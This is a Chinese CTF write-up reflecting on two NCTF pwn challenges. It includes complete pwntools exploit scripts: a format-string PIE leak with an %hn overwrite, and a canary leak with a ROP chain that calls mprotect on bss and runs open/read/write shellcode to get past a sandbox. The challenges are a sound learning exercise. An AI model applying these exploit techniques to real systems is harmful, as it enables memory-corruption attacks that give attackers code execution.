刚打完nctf,pwn题也只是做出了简单的两道题,还是练的太少,思路总是僵住,导致一些题陷入死循环
总结两道题的一些知识吧

pwn_me_2

这题是考格式化字符串漏洞的利用。
64位,开启pie
这道题的考点有两个,
1.泄露程序基址
2.根据程序基址找到要修改的地址,用格式化字符串漏洞更改其为自己想要的结果
这道题一开始就卡住了,虽然发现了有两个格式化字符串漏洞,但是第一个的利用我仅仅想到了用它本身泄露出来的地址来进行找偏移,就呆住了,
最后周哥以为是个难题,就帮我pass掉了,发现很简单,还是我太僵了,一些操作我想不到,然后在后面任意地址修改的时候忘记了printf()函数遇到’\x00’就截断了,还是卡了我一段时间。
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

p=process('./pwn_me_2')

p.recvuntil('but your name:\n')
#gdb.attach(p)
p.send('A'*0x10+'%15$p')#AAAAAAAAAAAAAAAA%15$p
p.recvline()

addr=int(p.recv()[2:14],16)-0xccd
print '===>',hex(addr) #libc_addr=addr+379903
bss_addr=addr+0x2020E0
#p.recvuntil('what do you want?')
print 'bss_addr=>',hex(bss_addr)
#gdb.attach(p)

payload='%26201c%10$hn%11$hn'.rjust(32,'A')+p64(bss_addr)+p64(bss_addr+2)
p.sendline(payload)


p.interactive()

warmup

这道题我本来认为是个简单的libc泄露,结果发现exp构造好之后打不过去,最后在还是在杏爷爷的解释下我明白了这个有开沙盒,我也是头一回遇到这种题,加上之前做的很少有构造汇编代码的题,
在这方面就比较差,最后在官方wp出了之后,需要用mprotect()函数来将bss段改为可读可写可执行。也算是学到了一个骚套路吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *

#context.log_level='debug'
p=process('./warm_up')
#p=remote('139.129.76.65',50007)
#libc=ELF('libc-2.23.so')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf=ELF('./warm_up')
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
pop_ret=0x400bc3
main_addr=0x400b30
gdb.attach(p)
p.recvuntil('warm up!!!\n')

p.send('A'*25)
p.recvuntil('A'*25)
canary=u64(p.recv(7).rjust(8,'\x00'))
print 'canary=>',hex(canary)#400B30
payload='A'*24+p64(canary)+p64(0xaaaaaa)+p64(pop_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr)

p.recv()
p.sendline(payload)
#print p.recv(6)
puts_addr=u64(p.recv(6).ljust(8,'\x00'))
print 'puts_addr=>',hex(puts_addr)
libc_data=puts_addr-libc.symbols['puts']
gets_addr=libc_data+libc.symbols['gets']
mprotect_addr=libc_data+libc.symbols['mprotect']
#pop_rdx_ret = libc_data + libc.search(asm("pop rdx\nret")).next()
pop_rdi_ret=0x400bc3
pop_rsi_pop_r15_ret=0x400bc1


payload2 = 'a'*24+p64(canary)+p64(0xaaaaa)+p64(pop_ret)+p64(elf.bss()+10)+p64(gets_addr)
payload2+=p64(0x400BBA)+p64(0)+p64(1)
payload2+=p64(mprotect_addr)+p64(7)
payload2+=p64(0x1000)+p64(elf.bss())
payload2+=p64(0x400BA0)+'\x00'*56+p64(elf.bss()+10)
'''payload2 = 'a'*24+p64(canary)+p64(0xaaaaa)+p64(pop_ret)+p64(elf.bss()+10)+p64(gets_addr)
payload2+=p64(pop_rdi_ret)+p64(elf.bss())#one
payload2+=p64(pop_rsi_pop_r15_ret)+p64(0x1000)+p64(0)#two
payload2+=p64(pop_rdx_ret)+p64(7)+p64(mprotect_addr)#
payload2+=p64(elf.bss()+10)'''
p.recvuntil('warm up!!!\n')
p.send('A'*25)
p.recvuntil(" ?")
#print "wocao"
p.sendline(payload2)
shellcode= shellcraft.open("flag")
shellcode+=shellcraft.read(3,elf.bss()+100,0x20)
shellcode+=shellcraft.write(1,elf.bss()+100,0x20)

p.sendline(asm(shellcode))
p.interactive()